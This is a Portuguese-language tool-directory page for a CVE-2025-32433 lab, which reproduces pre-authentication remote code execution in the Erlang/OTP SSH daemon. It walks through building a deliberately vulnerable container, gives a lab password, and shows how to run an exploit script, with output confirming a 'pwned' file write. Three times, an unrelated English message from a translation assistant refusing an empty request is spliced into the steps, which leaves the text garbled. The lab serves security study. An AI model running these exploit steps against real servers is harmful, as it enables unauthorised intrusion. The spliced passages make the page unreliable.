Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-32433-LAB — Uma falha no tratamento de mensagens do protocolo SSH permite que um ator malicioso obtenha acesso não autorizado a sistemas afetados e execute comandos arbitrários sem credenciais válidas no servidor SSH do Erlang/OTP | Kitploit
Ferramentas/GitHubGitHub/damnkrishna/cve-2025-32433-lab
Sniffing e Análise de PacotesScanners de VulnerabilidadesSegurança de ContêineresAnálise de VulnerabilidadesExploraçãoSegurança de RedeDetecção de IntrusãoAprendizado e Educação
Labs e Prática
GitHubdamnkrishna/cve-2025-32433-lab

CVE-2025-32433-LAB

Uma falha no tratamento de mensagens do protocolo SSH permite que um ator malicioso obtenha acesso não autorizado a sistemas afetados e execute comandos arbitrários sem credenciais válidas no servidor SSH do Erlang/OTP

Ver Repositório
37há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pesquisa de Vulnerabilidade e Laboratório de Segurança CVE-2025-32433

✅ RCE PRÉ-AUTENTICAÇÃO CONFIRMADO — Exploit demonstrado com sucesso.
📄 Blog Técnico (PDF): CVE-2025-32433-Technical-Blog.pdf
📸 Evidência Visual: screenshots/
🔍 Detalhes da Prova de Conceito: docs/PROOF_OF_CONCEPT.md

CVE-2025-32433 é uma vulnerabilidade CVSS 10.0 Crítica no daemon SSH do Erlang/OTP. Um atacante não autenticado pode abrir canais SSH e executar comandos arbitrários antes de concluir a autenticação — sem necessidade de credenciais.

Este laboratório fornece um ambiente isolado e totalmente funcional para reproduzir a vulnerabilidade, executar o exploit, verificá-lo e testar mecanismos de deteção — tudo na sua máquina local.


Pré-requisitos

Antes de começar, certifique-se de que tem o seguinte instalado:

FerramentaVersão MínimaComando de Verificação
Docker Desktop4.x+docker --version
Docker Composev2.20+docker compose version
Python3.10+python --version

Também precisa da biblioteca Python paramiko para a suite de deteção:

pip install paramiko

Nota Importante — Por Que Compilamos a Partir do Código-Fonte

A tag de imagem erlang:26.2.5 do Docker Hub foi silenciosamente substituída pela versão corrigida 26.2.5.11 após a divulgação da CVE-2025-32433. Baixá-la do Docker Hub fornece a versão corrigida, não a vulnerável.

O lab/Dockerfile deste laboratório compila o OTP 26.2.5 diretamente a partir do tarball oficial de release do Erlang no GitHub para garantir o runtime vulnerável genuíno. A primeira compilação leva ~10 minutos.


Arquitetura do Laboratório

                  ┌──────────────────────────────────────────┐
                  │         Isolated Docker Bridge           │
                  │            (cve-lab-bridge)              │
                  └────┬────────────────────────────┬────────┘
                       │                            │
       ┌───────────────┴─────────────┐┌─────────────┴──────────────┐
       │  target_vulnerable          ││  target_patched             │
       │  OTP 26.2.5 (source-built)  ││  erlang:26.2.5.11           │
       │  Host Port: 127.0.0.1:2222  ││  Host Port: 127.0.0.1:2223  │
       └─────────────────────────────┘└─────────────────────────────┘
                                       │
                        ┌──────────────┴──────────────┐
                        │  attacker                   │
                        │  Python 3 + Scapy/Paramiko  │
                        │  Workdir: /work             │
                        └─────────────────────────────┘
ContainerPortaVersão do OTPStatus
cve-2025-32433-vulnerable127.0.0.1:222226.2.5 (ERTS 14.2.5)❌ Vulnerável
cve-2025-32433-patched127.0.0.1:222326.2.5.11 (ERTS 14.2.5.15)✅ Corrigido
cve-2025-32433-attackerApenas internoFerramentas Python 3Conjunto de ferramentas do atacante

Passo 1 — Clonar o Repositório

git clone https://github.com/damnkrishna/CVE-2025-32433-LAB.git
cd CVE-2025-32433-LAB

Passo 2 — Construir o Container Vulnerável

⏱️ Isso leva ~10 minutos — ele compila o Erlang/OTP 26.2.5 a partir do código-fonte C. Isso é esperado. Não interrompa.

docker compose build --no-cache target_vulnerable

Você verá uma saída do compilador como make[1]: Leaving directory '/tmp/otp_src_26.2.5/lib/...' — isso é normal. Ela termina com:

✔ Image ine_cyber_assignment_job-target_vulnerable Built

Etapa 3 — Construir o Contêiner Corrigido

docker compose build --no-cache target_patched

Passo 4 — Iniciar o Laboratório

docker compose up -d target_vulnerable target_patched

Passo 5 — Verificar se tudo está em execução

docker compose ps

I can't translate the content because no source text was included in your message. The "INPUT:" section is empty—there's no chunk 17 text to work with.

Please paste the actual Markdown content for chunk 17, and I'll return the Portuguese translation following all the rules you specified.

NAME                        STATUS              PORTS
cve-2025-32433-vulnerable   Up (healthy)        127.0.0.1:2222->2222/tcp
cve-2025-32433-patched      Up (healthy)        127.0.0.1:2223->2222/tcp

Ambos os contentores devem mostrar (healthy) antes de continuar.


Passo 6 — Verificar a Versão Vulnerável

Confirme que o contentor está genuinamente a executar o OTP 26.2.5 (não a versão corrigida):

docker exec cve-2025-32433-vulnerable cat /usr/local/otp/lib/erlang/releases/RELEASES

Saída esperada — deve mostrar 14.2.5 SEM o sufixo .15:

[{release,"Erlang/OTP","26","14.2.5",
          [{kernel,"9.2.4",...},

Se você vir 14.2.5.15 — a imagem do container está errada. Reconstrua com --no-cache.


Passo 7 — Login SSH autenticado normal (linha de base)

Conecte-se como um usuário legítimo para confirmar que o servidor aceita autenticação padrão:

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 [email protected]

Quando solicitado, insira a senha: LabPass2026!Secured

Você entrará em um shell Erlang:

Eshell V14.2.5 (press Ctrl+G to abort, type help(). for help)
1>

Experimente alguns comandos dentro do shell do Erlang:

ls().
file:write_file("test.txt", "hello").
file:read_file("test.txt").

Para sair do shell Erlang:

q().

Passo 8 — Monitorar Logs ao Vivo (Execute Isto em um Terminal Separado)

Antes de executar o exploit, abra um segundo terminal PowerShell e acompanhe o log do servidor:

Get-Content -Path .\logs\target_vulnerable\ssh.log -Wait -Tail 20

Mantenha este terminal aberto. Você verá eventos de conexão aparecerem em tempo real.


Passo 9 — Executar o exploit CVE-2025-32433

Esta é a prova de conceito de execução remota de código pré-autenticação. Nenhuma credencial é utilizada.

cd attacker_work\exploit
python payload.py

I can't translate the content because no source text was included in your message. The "INPUT:" section is empty—there's no chunk 17 text to work with.

Please paste the actual Markdown content for chunk 17, and I'll return the Portuguese translation following all the rules you specified.

[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.1.4
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt.
[+] Received response: 000003d4...

O banner deve mostrar SSH-2.0-Erlang/5.1.4 (sem o sufixo .15) para confirmar que você atingiu o servidor vulnerável.


Passo 10 — Verificar se o Exploit Funcionou

docker exec cve-2025-32433-vulnerable cat /lab.txt

I can't translate the content because no source text was included in your message. The "INPUT:" section is empty—there's no chunk 17 text to work with.

Please paste the actual Markdown content for chunk 17, and I'll return the Portuguese translation following all the rules you specified.

pwned

Se você vir pwned — o RCE pré-autenticação CVE-2025-32433 está confirmado. O exploit gravou no sistema de arquivos do contêiner sem nenhuma credencial.


Passo 11 — Confirmar que o Contêiner Corrigido NÃO é Vulnerável

Baixar ferramenta